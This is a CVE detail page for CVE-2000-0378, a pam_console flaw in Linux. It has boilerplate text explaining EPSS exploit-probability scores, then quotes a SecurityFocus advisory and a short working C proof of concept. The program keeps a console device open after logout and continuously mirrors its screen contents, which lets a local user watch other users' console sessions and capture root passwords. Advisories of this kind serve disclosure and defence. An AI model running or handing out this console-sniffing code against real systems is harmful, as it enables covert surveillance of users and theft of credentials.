CVE-2000-0378 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

/* source: https://www.securityfocus.com/bid/1176/info A vulnerability exists in the pam_console PAM module, included as part of any Linux system running PAM. pam_console exists to own certain devices to users logging in to the console of a Linux machine. It is designed to allow only console users to utilize things such as sound devices. It will chown devices to users upon logging in, and chown them back to being owned by root upon logout. However, as certain devices do not have a 'hangup' mechanism, like a tty device, it is possible for a local user to continue to monitor activity on certain devices after logging out. This could allow an malicious user to sniff other users console sessions, and potentially obtain the root password if the root user logs in, or a user su's to root. They could also surreptitiously execute commands as the user on the console. */ #include <sys/fcntl.h> main(int argc,char*argv[]) { char buf[80*24]; int f=open(argv[1],O_RDWR); while (1) { lseek(f,0,0); read(f,buf,sizeof(buf)); write(1,"\033[2J\033[H",7); // clear terminal, vt100/linux/ansi write(1,buf,sizeof(buf)); usleep(10000); } }
